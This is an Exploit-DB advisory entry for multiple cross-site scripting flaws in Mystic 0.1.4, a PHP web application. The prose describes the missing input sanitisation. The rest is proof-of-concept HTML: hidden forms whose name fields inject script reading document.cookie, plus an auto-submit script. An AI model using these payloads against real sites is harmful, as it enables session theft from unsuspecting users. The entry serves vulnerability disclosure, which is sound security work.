Mystic 0.1.4 - Multiple Cross-Site Scripting Vulnerabilities

ID EDB-ID:34468
Type exploitdb
Reporter High-Tech Bridge SA
Modified 2010-08-10T00:00:00


Mystic 0.1.4 Multiple Cross Site Scripting Vulnerabilities. Webapps exploit for php platform


Mystic is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mystic 0.1.4 is vulnerable; other versions may also be affected. 

<form action="" method="post" name="main" >
<input type="hidden" name="category[id]" value="999" >
<input type="hidden" name="category[name]" value='mynewcat"><script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Create New Category!" >

<form action="" method="post"  name="main" >
> <input type="hidden" name="status[id]" value="999" >
> <input type="hidden" name="status[name]" value='status name"><script>alert(document.cookie)</script>' >
> <input type="hidden" name="commit" value="Create New Status!" >
> </form>
> <script>
> document.main.submit();
> </script>